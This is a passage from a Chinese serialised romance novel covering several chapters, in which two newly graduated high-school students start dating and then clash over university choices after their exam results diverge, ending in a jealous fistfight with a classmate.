潮水退去时带走了脚上的沙子,走一走,又沾上了,潮汐涨落间,方敏周觉得自己的整颗心都被温柔地洗涤了一遍又一遍。 当她站在安全的海边远眺大海时,一片黑暗,她的心底却涌上一股往深处去的想法,也许那是人性喜欢冒险的本能,但方敏周知道不可以,那很危险,所以她只是任由浪花冲上她的小腿,微微打湿了裙摆。 突然,她的脚背被王衎踩了一下,方敏周吓了一跳,既气也笑,提起裙子不甘示弱地踩回去。 夜晚的大海虽然比白天更莫测,但因为有人一起,所以不会害怕,又因为整片沙滩只有他们两个,好像还有点浪漫。玩闹间,她一个不稳,就要摔倒,被王衎抓住了手。 ——她在他怀中抬起头,四目相对,方敏周心脏落了一拍。 她仍然看不清王衎的脸,却清晰地感觉到眼前的人比海浪更汹涌炙热的感情。 她的身体在发颤,仿佛那些缤纷的浪花,她不知道王衎有没有发现。她不想被他发现,又觉得,他似乎也在颤抖。 真的好安静,方敏周心想,只有悠长的海浪声和风声,还有心跳声和……不知不觉间缠绕的呼吸声。 海水在他们脚踝边打着旋,方敏周踮脚轻触摸王衎嘴唇的时候其实没有想太多,可能只是把刚才向往大海深处但无法兑现的征服欲望换了个对象。 眼睛像天上的星星一样眨啊眨,腿有些发软。 嘴唇分开后,方敏周屏着气等待王衎的反应。 她太紧张了,以至于现在大脑一片空白,什么感觉也不记得……也可能因为时间太短了,或者太轻了一点?蜻蜓点水的涟漪都没有,就像和一颗果冻碰了碰,但味道还没来得及尝…… “你亲我。”王衎盯着她,下了定论。 方敏周:“……” 她一人做事一人当,她承认。嘴巴微张,声音还没发出来,他捧住了她的脸。 湿湿热热的吻,浪花一样涌入了她的身体里。她抵在王衎胸前的手慢慢攀上了他的脖子,唇齿交缠间,方敏周尝到了他嘴里淡淡的酒精味道 啤酒味的果冻,第一次尝。 “我亲回来了。”抵着额头,王衎气喘吁吁地说。 “……” “你嘴巴是甜的。” 晕乎乎地刚说完,挨了方敏周一下打,“……别说这些乱七八糟的。” 就说就说。 “我说真的,真的是甜的。” 比梦里梦到的甜。 这话王衎就不敢说了,把要推开他的方敏周紧紧地搂在怀里,喟叹般地喊了声她的名字。 “……嗯。”她答应着。 “现在总算数了吧?” “什么?”方敏周没明白。 王衎脑袋埋在她的颈侧,低低地笑道:“哈喽,我的女朋友。”—— 作者有话说:大家国庆快乐~ 假期时间太碎片了,这段时间更新改为十二点前,加更补在后面的章节(先欠着 第47章 第 47 章 回樟城的动车上,王…… 回樟城的动车上, 王衎要和欧阳茜换位置,方敏周羞窘地推了下王衎。欧阳茜想说“不要”,但还是善良大方地同意了, 没有故意捉弄这俩人。 方敏周对欧阳茜很不好意思, 夜里她没睡, 一直等她回来, 今早退房的时候, 王衎大咧咧地要帮她拿行李,一副昭告天下的模样,要不是有欧阳茜帮忙打岔, 方敏周会找想找个地缝钻进去。 忍不住瞪王衎,他还一脸无辜, 拿出耳机,其中一只不由分说地戴到了方敏周耳朵上。 手收回去时, 王衎心痒地捏了下方敏周的耳垂。 “喂。”方敏周脸红了, 这人怎么动手动脚啊? 王衎瞅她一眼, “要不我让你捏回来?” “我才不要。” 结果王衎直接拉起她的手摸自己的耳朵, 方敏周吓了一跳, 手抽不回来, 又不敢闹出太大动静,糊里糊涂地把摸了把王衎的耳朵。他耳朵通红,脸皮倒是很厚, 握着她的手不放,凑近过来闷闷地笑道:“你是不是想骂我不要脸?哎, 我就是之前太要脸了。” 方敏周:“……” 她觉得她可能需要适应一下他们之间新的相处模式。 好几个小时的动车,方敏周后半程还是睡着了,再睁开眼睛时发现自己靠在了王衎肩膀上, 一秒惊醒,王衎指了指他的嘴角,“口水。” 方敏周连忙去擦,手背干干净净的,她羞恼地拍了下王衎,没有用力,但他疼得整张脸皱起来,委屈地说:“我怕弄醒你,刚才动都没有动一下,现在胳膊都麻了,你还打我。” 方敏周:“……” “……真麻了?”她轻轻捏了捏王衎的肩膀。 王衎浑身瞬间绷紧,认真用力地“嗯”了一声,方敏周听了,又帮着揉了几下。 王衎不白,但眼见着像一只被烫熟的虾,从脸到脖子再到手臂都泛起了一层红色。方敏周垂下眼睛,不戳穿他,毕竟确实让她枕了一路,她现在是秉着回报的公正之心。 “诶,你这样……”王衎压着声音,“算不算对我动手动脚?” “……闭嘴。”方敏周不客气地用了力,王衎吃痛地闷哼一声。 感觉到一股炙热的视线,一抬眼皮,王衎头靠着椅背,侧着脸盯着她笑,一双眼睛弯成了两瓣月。方敏周心口突突的,但表面镇定地问:“好了吧?” 王衎不置可否,不想让方敏周辛苦,又想让她再多揉一会。 甜头尝够了,广播提醒前方樟城到站,他向方敏周二次确认:“你爸妈来接你?” “嗯。” 方敏周的眼神在警告他不要乱来,王衎撇嘴不甚严肃地做了个发誓的手势,“那……我们什么时候可以再见面啊?我们还没一起看过电影呢。” 方敏周心想王衎居然还惦记着这事,“……我到时候再和你说。” “你会和你爸妈说,是和我一起吗?”王衎好奇问。 不会,她会说自己是要和元月或者欧阳茜出去玩,就像之前一样,虽然这很对不起爸妈的信任……她担心王衎介意,但他笑得颇有几分得意,方敏周感到奇怪,问他笑什么,他不说,“没有啊,就是想到要和你看电影就很开心。” 方敏周为了他和爸妈撒谎诶。 王衎觉得这显得自己很重要。 六月的樟城进入梅雨季,好好的假期天天往外面跑,方敏周心虚会让爸妈起疑,好在爸妈要上班,所以她和王衎见面,都会赶在爸妈下班前回到家,伪装出哪儿也没去的假象。 对此,王衎就有点点不高兴,白天又热又闷,无论是看电影还是吃饭还是其他,都是晚上更有气氛,但不高兴也没办法。 这天王衎送方敏周回家,远远的,方敏周发现刚刚下班回家的妈妈,赶紧把王衎带进附近的超市躲起来,顺便挑起水果。 等会回去妈妈问她去哪了,她才能有借口。 王衎哭笑不得,怎么还跟做贼一样?他抛着一颗苹果玩,问方敏周:“诶,你什么时候能带我见父母啊?” 方敏周目瞪口呆地看向王衎。 他知道他在说什么吗? 王衎不好意思地咳嗽了下,还等着方敏周回复。方敏周把他手里的苹果拿回来放好,“你不怕我爸了?” 王衎:“……我哪里怕过了?叔叔人很好啊。” 方敏周笑笑不说话。 “诶,我问真的啊,现在不是都毕业了吗?”王衎说,“反正我爸妈知道了。” 方敏周又是一惊:“……你和他们说了?” “也不算,前几天旅游回来,她看到我手机里的照片,我就说了。她之前就怀疑过,但我那时候真没有嘛。” “……哪张照片?”王衎说得很无所谓,方敏周头皮却有点发麻,“欧阳帮我们拍的那张?” “不是,车上的。” 方敏周疑惑:“车上的?” 王衎一滞,发现自己说漏嘴了。 “车上什么照片?”方敏周也反应过来,严肃追问。 王衎尴尬地摸了摸自己脑袋,含含糊糊地说了句话,但方敏周一个字都没有听清楚,她伸出手,“手机给我。” 事情既已败露……王衎调出手机照片,方敏周一看,脸都黑了,是回程动车上,王衎趁她睡着时拍的照片,还好几张,而他在旁边鬼脸不断。 “其实还好吧……”王衎为自己的行为找补,这睡相安安静静的,既没有打呼噜也没有张着嘴,“你要当睡美人还是白雪公主?” 重点不是这个!方敏周气恼,重点是……他怎么能让他妈妈看到这种照片呢?和王衎真的是说不清楚。 “生气了?别生气啊。”王衎说,“我妈很喜欢你的。” 方敏周:“……” “真的,你忘了?高二刚开学的时候她就很喜欢你,还给我们送过饭。” “……是给你,不是给我们。” “反正一起吃的,差不多嘛。” 这能是一件事吗? “我要回去了。”方敏周在超市的门檐下撑开伞,让王衎要不也打车直接回家,不用送她到小区门口。 “真生气了?”王衎着急了,“那我把照片删了?” “没生气……”方敏周说,从袋子里拿出零食递给王衎,他的裤子口袋大,都能塞进去。 “专门给我买的?” “……嗯。” 王衎乐了,这才松了口气,他就奇怪方敏周怎么买了那么多他爱吃的零食。 显然,他把之前问方敏周的问题忘记了,反倒是方敏周自己不由得想,这样躲躲藏藏的确不是事,但怎么和爸妈坦白?严格来说,他们现在也才刚毕业,之前还被爸爸撞见过王衎送她回家,当时自己还信誓旦旦地否认,可是又不能瞒一辈子…… 要不还是等过段时间再说? 回到家把水果放在客厅茶几上,妈妈不由得说她:“下次想吃水果直接给我打电话,我下班顺路就买了,你这还特意出去一趟,鞋子都湿了。” 方敏周讷讷应着,实在觉得至少眼下还是难以和盘托出。 她帮妈妈一起准备晚饭,妈妈忽然说起来,她今天碰见单位退休的老领导,“她还记得你,问我你是不是高三了,我说是啊,刚刚考完,还不知道考得怎么样呢,她就让我放心啊,说不用担心。” 方敏周记得妈妈老领导的模样,是一个个子不高却很有威严的奶奶,但笑起来很和蔼,小时候她去妈妈的单位找她,那个奶奶总是会夸她几句。 “时间过得真快,我现在有时候醒过来,我就想忘记喊敏敏起床上学了,然后才想起来,你都考完了,马上都要上大学去了。” 方敏周不由得抱住了妈妈。 临近放榜,方敏周难免有点紧张,但她的自我感觉发挥得还不错,可也怕感觉出错,偏偏高考查分的前一天,她发烧了。 她和王衎一样,很多年没发烧过,也许是连续几天大雨低温又还是贪舒服开了空调的原因,然而时间节点太微妙,总归有点不祥的征兆,但方敏周压在心里没说,爸爸妈妈也只让她吃了药早点休息。 不过晚上九点,方敏周就躺进了被窝里,窗帘被拉上、房门被关上,没有开灯,黑暗的房间里静悄悄的。她身体发沉,很累,但没有太多困意。 九点半,手机屏幕准时亮起,是王衎打来的电话。 他前几天回了南城,两个人约好每天晚上九点半打一会电话。 “喂。”王衎声音带笑。 方敏周觉得自己可能是烧糊涂了,这会儿居然觉得他的声音很好听,也笑着“喂”了一声。 刚打电话的时候还有点害羞,现在好很多,无外乎分享自己一天都干了什么,王衎话多,方敏周间或应一声笑一声给点反应。 聊着聊着,电话那头的王衎忽然静了静,然后他问:“……你怎么了?” “嗯?”方敏周轻声反问。 “我今天其实是没什么事啦,是不是讲得太无聊了?” “没有啊。” “那……”王衎问,“你是不是困了?还是哪里不舒服?还是……害怕明天出分?” 方敏周在被窝里翻了个身。 人是不是就是这样别扭呢?还是谈恋爱的人才会这么别扭。她不想和王衎说她生病了,怕他担心,但是又盼着他能从蛛丝马迹中察觉到她的不对劲,“……有点发烧。” 王衎一下子紧张了:“……多少度?吃药了吗?” “三十八度左右吧,还好,吃药了。” “……你怎么不早点和我说,”王衎懊恼道,“那我就不打电话给你了。” “又没有什么事。” “是不是我们出去玩的时候着凉了?” “不是,那都什么时候的事了。” “那也有可能啊。”王衎嘟囔,“你要是哪里不舒服或者怎么样,要和我说。” 方敏周心里想笑,有点嫌王衎啰嗦了,应了声。 “那你早点睡,醒来就好了。” “嗯。” “还发烧记的话得去医院。” “知道了。” “你……不要担心明天成绩,安心睡觉。”王衎又说,“发烧代表红红火火,你这次一定考得特别好。” “……你什么时候这么会说吉祥话了?”方敏周终于忍不住笑出声,闷闷的声音听起来亮了些。 听见她笑,王衎放心了点,但还是认真强调:“我说真的。” “好,我知道了,我不担心。” “那我挂了?” “嗯。” “晚安敏敏。” “……晚安。” 挂断电话,发着烧的方敏周感觉手机也在发烫。她平躺在床上,在黑暗中静静抚平心跳。她头一次体会到,原来心情真的会影响身体的感受。 安然入睡,再醒来时,房间里窗帘依然拉着,但白日的光亮已经驱散了黑暗,她看到爸爸妈妈就在她的床边。 方敏周瞬间清醒,一颗心跟着提到了嗓子眼。她一身的汗,烧已经退了,现在很想洗个澡。 “醒啦?”妈妈温柔地喊她。 “……嗯。”方敏周揉了揉眼睛,看清楚了爸妈的脸:眼睛发红,好像哭过,但隐隐透着股激动,像是喜极而泣。 “刚才学校还有招生办的老师都有打电话过来。”妈妈像哭又像笑,抱住了她,“你这次考得特别好。” 超常发挥、省排名、校排名…… 方敏周迟钝地消化着这些信息,她忽然怀疑自己还没清醒,她还在做梦吧?高中考得最好的一次,年级排名第十一,仍然没有进入前十,但她也满意了,因为不出意外,她可以考上江大。 窗帘被爸爸拉开,他又开始说起一些大道理,越说越激动。清晨的阳光照进房间里,方敏周回抱住妈妈,笑着无声地掉了眼泪。 起了床,和爸妈一起去酒店见了从首都来的招生办老师。查分时间一到,方敏周收到了王衎报喜的消息,他考得很好——同样也是高中三年考得最好的一次。 奇迹发生了。 记忆里是刚上高三还没换位子的时候,潮湿闷热的盛夏,吃完中饭回到班级,教室里只有几个人,很安静,头顶吊扇的气流吹动着书角。 王衎百无聊赖地翻看早上发下来的高考报名志愿书,问她:“你想报什么专业?” 她说自己没想好,“可能金融会计之类的吧。” “为什么?” 她不语。 能因为什么,因为热门,因为她妈妈以前是做会计的。王衎把书本立起来,自己脸贴在桌子上看她,“原来你也会这样啊?” “哪样啊?”方敏周反问,“你呢,你打算报什么专业?” “其实我也没想好。”王衎笑着说,“建筑吧,或者机械?都行,反正我想的是,万一我真的倒霉考不上江大,我就报江城理工,我查了,大家都在一个大学城。” 他家里做建材相关的生意,爸妈想让他接手家里的生意,他不想,但觉得当一个建筑师很酷,虽然听说特别辛苦,家里从事建筑相关行业的亲戚也都劝过他慎重考虑,要是真的喜欢也可以试试。 而方敏周嫌王衎说话晦气,随手把参考书盖到王衎脸上,他把书摘下来,露出一张笑脸。 “金融经济我们学校的王牌专业……”招生办的老师在向爸妈介绍,爸妈连连点头,方敏周和老师对上视线,对方微微一笑,友好而欣赏,“还是要看方同学的兴趣,但我们非常欢迎方同学的到来。” 北城的大学,更好的大学,更远的大学。 她知道高考是分水岭,但是真的站在这个岔路口,醒来后的惊喜像一缕烟淡淡散去,留下她面对真实的世界,方敏周发现自己比想象中的更加迷茫。 奇迹发生了,可是,好像错位了。 第48章 第 48 章 方敏周不知道怎么回…… 方敏周不知道怎么回复王衎, 发过去一个祝贺的表情包,王衎大概是默认她没有问题,回了一个更可爱的。 王衎:江大我来了/亲亲 方敏周一笑, 但笑容很快敛了。余光发现爸爸在看她, 她的心沉了沉, 收起手机。 果然回到家, 爸爸说, 要和她聊一聊。 赵宁英察觉到父女之间奇怪的气氛,“怎么了?” “没事,我和她聊聊填志愿的事。”方良平说。 “哦……”赵宁英将信将疑, “敏敏想吃什么?要不晚上我们出去庆祝一下?” “我都行。”方敏周说,“在家里吃也可以, 我想吃糖醋排骨。” 赵宁英高兴应着。 卧室里,方敏周在书桌前的椅子上坐下, 方良平站在一边, 随手抽出书柜里的一本书翻了翻, 放回去, “刚才听老师说了那么多, 你自己怎么想的?” 抑制住一些不自觉的小动作, 方敏周两手交叉握着,平静地回答:“我都可以啊,我要想想。” 方良平放缓了语速:“我和你妈之前, 就想你考上江大,你要想回家的话, 也近,你自己是不是也觉得考上江大就很好了,但你看, 只要努力,北城也考得上。本来大学就是开眼界的地方,你也不用怕,就当是锻炼自己,以后大学毕业之后,看你自己,要是想留在北城,爸爸妈妈也支持你。” 方敏周还是忍不住抠了抠桌面。 感动、愧疚和压力一齐涌上心头——一直都是这样,被给予最多的支持,被赋予最高的期望,但被动得到的东西从来不是真正想要的,如果可以,方敏周希望爸爸妈妈应该多爱他们自己一些:她上大学,他们也能开始享受自己的生活,而不是这就开始为她尚且没有定数的未来计划。 但如果爸爸妈妈的注意力没有放在自己身上,她可能又会有意见吧? 她总是奢求太多。 “我知道。”她回。 爸爸看着她,像是在琢磨也像是在观察,一时间没有下文。妈妈在客厅里打电话,因为太开心,声音隐隐约约传进此刻无声的卧室里。 “报志愿相当于小高考,有很多人分数很高,但填志愿的时候乱填,结果没有学校去,也有些人虽然考得不是很好,但好好填志愿,也可能去好的大学,你知道吗?”爸爸再次开口,语气相比之前严肃了些许,“你要好好想想,要对自己负责。” “……我知道。”方敏周还是这句话。 方良平却无法相信,他看着方敏周,问:“你刚才在和谁发消息?” 方敏周没回答。 “是不是之前那个男生?” 所有伪装的戏码终于落幕。 爸爸脸上毫不掩饰的失望戳痛了方敏周,让她有一种蒙羞布被扯破的不堪,就好像她一直以来的所作所为,他都清清楚楚,只不过睁一只眼闭一只眼,而现在的她,不知好歹地辜负了他的信任,可她到底做错了什么? 出于被误解的委屈、出于被管教的愤懑、出于不愿再躲藏的疲惫,方敏周承认:“是。” 她承认一切,她想看看爸爸最真实的态度。 爸爸的脸色变得很难看,好一会儿,他才问:“他高考多少分?” 方敏周迟疑了一下,如实报了王衎的分数。 方良平心里有了数,再问:“他想报什么学校?” 方敏周再一次说不上话。 “所以你想和他一起去江大是不是?”方良平恨铁不成钢,“你知不知道你……” “我知道。”方敏周忍不住打断爸爸,“我……我就是想再想一想。” “有什么好想的?”方良平出离的愤怒了,他得知方敏周成绩的时候有多高兴多激动,现在就有多恨那个把她拐跑了的男生,“你和我说你们没有在谈恋爱,你就是这么骗爸爸的吗?” “我没有骗你……我们那个时候就是没有在交往。” “那个时候、那个时候,所以现在呢?你说你要和同学出去旅游,那个男生是不是也在?但爸爸也没有阻拦你,因为我觉得你自己知道,什么该做什么不该做的,结果你现在能去北城你不去,要去江大?” “我……”方敏周停住,她深深地呼吸了一口气,她还坐在椅子上,她不再看爸爸,也不想再过多解释,但还是选择讲清楚,“我说了,我只是想要一个人再想一想,之前我和……说好一起去江大的,本来我也一直想考江大……” 方良平根本听不下去,“你不用说了,你要自己一个人想想,那就好好想想吧,不要说什么之前不之前了——你就想想如果没有这个男生,北城大学和江城大学你选哪个?高一的时候你说你自己一定会考好的,如果那个时候你知道自己高考会考得这么好,你高不高兴?还要想一想吗?说难听点,你现在因为他,去江城大学,你觉得你们以后就一定会在一起吗?到时候你后悔都来不及啊,你……” “我都说了我没有!”方敏周忍无可忍站起来,眼泪不受控制地涌出眼眶,她狼狈地迅速抹去。 爸爸嘴还张着,震怒中透着吃惊,方敏周逼着自己看向他。下一秒,爸爸不忍直视般地扭过了脸,仰头长叹了口气,那一声痛心的“哎——”,在方敏周心口锤出一个深深的空洞。 她不明白爸爸为什么固执地觉得她就要因为王衎放弃北城大学,是因为他再也不相信她说的话了吗?她的声音有点颤抖,同样有点不愿相信,“……你觉得我就是这样的吗?” 一个傻傻的、只想着谈恋爱、“自甘堕落”的女儿? “我和王衎是高考之后才在一起的,因为我就是怕影响到学习……”她咬着字,她知道爸爸现在对王衎的印象一定很差,但她不得不说,“他成绩一开始没有很好,然后因为我说,我想考江大,那现在……如果我不去江大了,我是不是需要给他一个解释?” 他们从小教育她要诚实守信、要说到做到,但其实在他们这个年纪,并没有什么需要海誓山盟的事情。上课会有人旷课请假,和朋友约好出去玩,偶尔迟到几分钟也正常,她的十八年里,下雨天无数,但只有一个男生,曾经在一场瓢泼的大雨里向她跑来。 换她要作“背叛者”,她真的……她只是很难受。 爸爸沉默良久,久到方敏周足以重新整理好自己的情绪。 “爸爸刚才太激动了。”方良平话说得艰难,“爸爸不应该这么说你。” 方敏周鼻头发酸,赶紧低下头。 “但爸爸说这些也是为你好,你和那个男生的事……你可以看出来,爸爸没有干预,因为我知道你现在大了,谈恋爱是正常的,但是……“方良平又叹了口气,语重心长,“你们还小,很多事情想的太简单,可能觉得上一个大学,就可以天天在一起,但这样子有用吗?你们还要读书的,还会认识新的朋友,谁也不能保证你们以后会怎么样,你们能做的,是做好自己的事情。你可以想想,如果今天是他考的更好,他会怎么选择,你又会怎么选择……如果这个男生真的喜欢你的话,他肯定要为你考虑啊。” 指甲在指腹掐出弯弯的痕迹。 “你好好想想……爸爸出去了。” 方敏周点头,在门关上的瞬间,她抬起脸,泪才掉落。 七班这次考得都特别好,孙彤是全校第一,市理科状元,听说詹老师下届不会再带高三,他们的成绩算是为她的职业生涯划上了一个显著的感叹号。 王衎还是知道了她的成绩,有些选择是一目了然的,他直接打来电话问她,“所以……你是怎么想的?” 她知道他的担心,他其实也猜得到她的想法,无言的几秒钟,彼此心照不宣。 王衎先干笑了声,声音听起来还是很轻松:“那我也去北城好了。” “你不要……” “不要什么?” “你不要因为我……你先看你自己的分数,按你原来的想法。”方敏周解释,她就怕王衎冲动。 “这就是我的想法啊。”王衎说,“虽然北城大学没戏,但北城其他学校应该可以吧。” ——但那些都比不上江大。 “你不是想要报建筑或者机械之类的专业吗?” “就还是报这些啊,其他也可以。”王衎说得毫不在意。 方敏周不是不感动,但这份触动被更大的东西压迫住了,比一个昂贵的礼物更让她不敢接受。 以王衎的分数来说,因为省内保护策略,可能刚刚好能够被江城大学的理工科录取,但放弃江大来北城,却反而落了一个档次。 “……你爸妈怎么说?” “他们随便我啊。”王衎说。 他这是谎话,他爸妈已经欢天喜地地准备庆祝他考上江大了。 “王衎,你不要这样。”他听见电话那头方敏周又这么说了一遍,“你要看学校和专业的,别……” 她很无奈似的停下。 电话本就看不到表情,方敏周不说话,王衎心里更慌,他勾起一边嘴角,接道:“我别什么?” 她是又要说他任性还是幼稚? 别因为我改志愿,别因为我要去北城所以也跟来北城,她负不起责任。方敏周想这么说,但说不出口。 王衎耐心告罄,干脆问她:“你是要报北城大学吗?” 方敏周没立刻回答,王衎笑了,“这还有什么不能说的吗?” 他嘲弄的笑声听得方敏周心头发紧,她舔了舔嘴唇,“是。” “很好啊,那我就也去北城呗,你不想我去北城吗?” 她想,但她可以说吗? 方敏周坐在桌前,“如果没有我,你会想要去北城吗?” 不知道为什么,听到方敏周这句话,王衎的心凉了半截。 是因为她从始至终的平静?还是因为她如此轻易地就能做出这样的假设?他还是笑笑,“会啊,为什么不会?” 方敏周顿了顿,叹了口气,“你不要说气话。” “我没有说气话,也没有生气。”王衎说,“是你已经预设了一个答案,你不想我跟你去北城。” 满心幻想着和方敏周一起上大学的画面成了泡沫,王衎觉得自己现在就像个小丑。要不是从别人那里得知她的成绩,她打算什么时候和他讲,还是打算一直糊弄他到填完志愿? “我不是这个意思,我是希望你好好地填志愿。”方敏周深深感觉到她和王衎的沟通不在一个点上,“……先这样吧,这几天我们再看看” “好啊,看看北城哪几个学校适合我。” “王衎。”方敏周再一次喊了他的名字,他话里带话的讽刺和挑衅让她很恼火,想骂他,但更想哭,她憋住了,“我再说一遍,不要浪费你的分数,选你自己感兴趣的专业和学校,和你爸爸妈妈一起商量,不要因为我去北城你就一定要来北城,我……我负不了责任。” 她还是把这句话说出来了,方敏周有些恍惚地想。 很久很久,王衎都没有再说话,方敏周几乎怀疑他们的通话已经中断,电话那头传来他似笑非笑的声音:“方敏周,你是负不起责任,还是不想负责任?” 他又犟上了,方敏周忍住没有发火,“我挂了,明天学校志愿指导会,我……我会帮你过去拿资料。” 王衎:“我不要。” 方敏周挂断了电话。 手机自动熄灭后,陆续因收到了新消息而亮起,屏幕明明灭灭,方敏周坐在书桌前发呆。 备考的便利贴都撕掉了,但复习的资料还没有全部收起来。 那时候时不时想着考完了就解放了,想过最差的可能性是他们两个都发挥失常,没有考上江大,也不在同一个城市,但原来,这不是一对一的映射关系。 海边的那几天现在回想起来跟做梦一样,他们重新回到了计算得失优劣的世界,不管怎么样好像都无法皆大欢喜。方敏周趴在桌上,突然怀疑这个世界是否存在真正的happy ending。 第二天的讲座大半的毕业生和家长都来了,方敏周爸妈要上班,加上她已经基本确认了报考志愿,没有陪她来,方敏周也轻松一点。她收获了很多人的祝贺,有人调侃她谦虚,因为看她一点高兴劲儿都没有,歪打正着说中了方敏周的心事,她也只能笑笑。 一上午下来,方敏周确定了一件事情,至少在当下,最适合王衎的,的确就是江大。说实话,她心里有种尘埃落定的感觉,她不能深想,怕灰尘再飞起来。 会后,她和同学们一起去办公室看终于空下来了的詹老师。 詹老师一改平日的随性,有了点这个年龄会有的慈祥,大家围着七嘴八舌了好一阵后,詹老师还贴心地同每一个人都单独地聊了聊。 轮到方敏周,詹老师欣慰又自豪地看着她坐下来。一切尽在不言中,方敏周感激向老师微笑。 “想好报什么专业了?” 方敏周回答后,詹老师说挺好的,“是你感兴趣的专业吗?” 方敏周被问住了,说不上多感兴趣,只是她也没有特别的偏好,也正因如此,她觉得像王衎那样有梦想专业的人,更不应该轻易被影响。 詹老师面露了然,但很宽容地说:“这很正常,老师一开始也没有想要当老师,后来当了老师,也没想到会当一辈子。” 小时候写作文,方敏周听多了同学们想要成为一名老师的梦想,以至于她以为老师们都是从小就立志教书育人,詹老师的这番话很特别,但她没有继续细说,“你可以等上了大学,再慢慢探索自己想要做的事情,你要做的,就是顺其自然地往前走、往上走,就可以了。” 方敏周眨眨眼睛,没有挑破这句话的矛盾之处:会顺其自然也许是因为没有方向。 但她也明白詹老师的意思,就像水往低处流,而人要往高处走,前者是自然规律,后者是生存法则。 “你还记得高二老师和你说过的话吗?”詹老师说,“你很聪明很踏实,也很幸运,看到你取得这么好的成绩,老师由衷地为你感到高兴。” 方敏周又有点想哭,“谢谢老师。” “并不是所有人的天赋和努力都会得到回报,你得到了,就要好好珍惜。老师说这话,并不是要你接下来还要更加努力,努力它是没有尽头的,对不对,努力并不一定会有回报,但是你可以相信自己的力量。” 方敏周点头。 “老师希望你未来一切顺利,不要吃太多的苦,就可以找到自己的幸福公式。” 幸福公式,这是詹老师高考前和他们说的话。 她说他们现在才十八岁,很难不把分数高低视为成功与否,但等到他们二十八岁、三十八岁,就会发现这一次考试并不能决定一生,多少科学家是在当下失败的实验中,意外发现了其他结果,“所以每个人的一生就像一个不断做实验的过程,你们可以想想自己最想要的什么?作为老师,老师希望你们都能够幸福快乐,而这取决于你们自己的配平公式。” 方敏周走出办公室,欧阳茜问詹老师都说了什么,方敏周说很难总结,但几乎是这两年来最掏心掏肺的一次谈话。 欧阳茜五指弯曲,做了个“挖”的动作,开玩笑道:“我可不想掏心掏肺。” 方敏周也笑。 她有点遗憾王衎没来,不然……她又想到孙彤,孙彤也没来。 这样的话,詹老师是不是经常和她说呢?方敏周有点羡慕。 欧阳茜考得也很好,她想要出省,还在考虑,轮到她进办公室,方敏周回原先的班级等她。教室已经清空了,几个同学在聊天,方敏周站在走廊上静静地望着校园。 天阴阴的,今年的台风马上就要来了,连日的高温略降,风里有雨的气息。 林斯年走到她边上对她说“恭喜”时,方敏周还有点不好意思,因为之前的班级第二名一直是他。 高三那年,她以超越孙彤为目标,实际孙彤之后的林斯年都没有考过一次。 高考真的是意外。 林斯年笑起来,“我其实一直觉得哪天会被你超过。” “……真的假的?” 林斯年但笑不语,意思是让方敏周猜,这让方敏周有些忍俊不禁,不管真假,他的大方总归让她不再拘谨。 两个人接着聊了会天,楼下有人看到林斯年,挥手喊他,他应声后,对方敏周说:“那我们北城见?” 方敏周愣了愣,点头致意:“……北城见。” 一齐转身,王衎站在墙边,面无表情地盯着他们。 方敏周眼睛一亮,但王衎阴沉的脸色,令她有些怀疑地收起自己的惊喜,但还是笑着问他:“你怎么在这?” 他不是在南城吗? “我怎么不能在这。”王衎活动着手腕,朝他们慢慢走过来。 他渐渐逼近的戾气,令方敏周不由得皱起眉头。 一旁的林斯年看了看方敏周,又看了看王衎,他察觉到古怪,但他也听说了他们交往的事情,以为是闹了别扭,便笑了笑,试着调节气氛:“你们……” 话刚出口,他的脸上挨了一拳。 方敏周惊叫出声。 林斯年捂着脸踉跄两步,王衎发狠地揪住他的衣领,还要来上两拳,被林斯年一个勾腿扑倒在地上,两个男生立刻凶猛残忍地扭打起来,拳头砸出“砰砰砰”的声音,惊恐的尖叫声和纷乱的脚步声中,一切触目惊心。 方敏周反应过来后就想要拉开他们,却无从下手,突然被欧阳茜拽住,“你会被打到的!” 最后是郑彦航和其他几个男生奋力从背后拖开两人。 “搞什么搞什么?!”郑彦航叫道。 王衎还在挣扎,死盯着林斯年,额头青筋暴起,仿佛见到仇人,而另一边的林斯年相比之下冷静了许多,抬手摸了摸自己破了的嘴角。 眼见郑彦航他们制不住王衎,有围观的女生被吓得后退了几步。 “王衎,你疯了?!” 发狂的人像被打了一针镇定剂,猛地停了动作,通红的眼睛直直地望向方敏周。 郑彦航咬牙,大气都不敢喘。 于是王衎在一片寂静中,清楚地看见了方敏周脸上的愤怒、担心、不解和……害怕。 理智和感官归位,他开始感觉到自己脸上、身上的痛,但都不及心里的。 “你……”方敏周看到王衎一头的汗,红涨的脸上有伤,衣服皱巴巴的,陌生又让她心疼,而他那双总是带笑的眼睛里,此刻满满的都是对她的失望。 王衎用力甩开郑彦航,一瞬间,他察觉到所有人都警惕地围着他。他冷笑一声,看着方敏周,一字一句:“你放心,我死也不会去北城。” 第49章 第 49 章 王衎离开,没有人敢…… 王衎离开, 没有人敢拦他,方敏周怔在原地。郑彦航着急地看看这两人,然后在欧阳茜的示意下, 追上王衎。 当詹老师赶来时, 林斯年轻描淡写地称他和王衎之间有点误会, 但没有关系。 方敏周察觉到了詹老师投来的目光, 她低着头一言不发, 直到詹老师交代了林斯年几句。 已经放暑假了,医务室没有开门,方敏周和欧阳茜坚持要陪林斯年到一条街外的街道卫生所。 他的眉骨和嘴角都破了, 淤青多处,手肘和膝盖也有擦伤。医生给林斯年消毒的时候, 林斯年吃痛,但没有发出声音, 她和欧阳茜自觉避了开。她看着门外来往的医患, 想到王衎, 不知道他现在在哪里, 有没有去医院…… 越想越是生气, 越生气越是难受…… 欧阳茜轻轻拍了拍方敏周的背。 “你们这都毕业了还打架啊?”医生处理好了伤口, 啧啧称奇,“有什么好打的?你这再严重点就不得了。” 方敏周非常愧疚,向林斯年不知道第几次道歉。 林斯年身上已经不见刚才和王衎互殴的凶狠, 恢复了平时的斯文体面,甚至心情看起来都一点没受到影响, “没事,又不是你打的我。” 但这句玩笑话开得不好,方敏周笑不出来, 还是道歉:“对不起……” “我说了,没事。”林斯年笑着叹了口气。 “你这样等会回去,你家里人会不会……”欧阳茜问。 这也是方敏周担心的地方之一。 “没关系,我不会说是王衎打的。”看出方敏周的紧张,林斯年直接这么说了,好让她放心。 “……谢谢。”方敏周说,“真的很不好意思。” 林斯年不想再听方敏周道歉,换了话题,半是调侃:“所以我能问下吗,王衎为什么打我?” 方敏周难以开口,半晌,告诉他们,她和王衎因为填志愿产生了分歧。 他说他死也不去北城,大概……也是因为听到了她和林斯年说的话。 欧阳茜听完,凉凉地评价道:“王衎个疯子。” “如果是这个原因……”林斯年却说,“我还挺能理解的。” 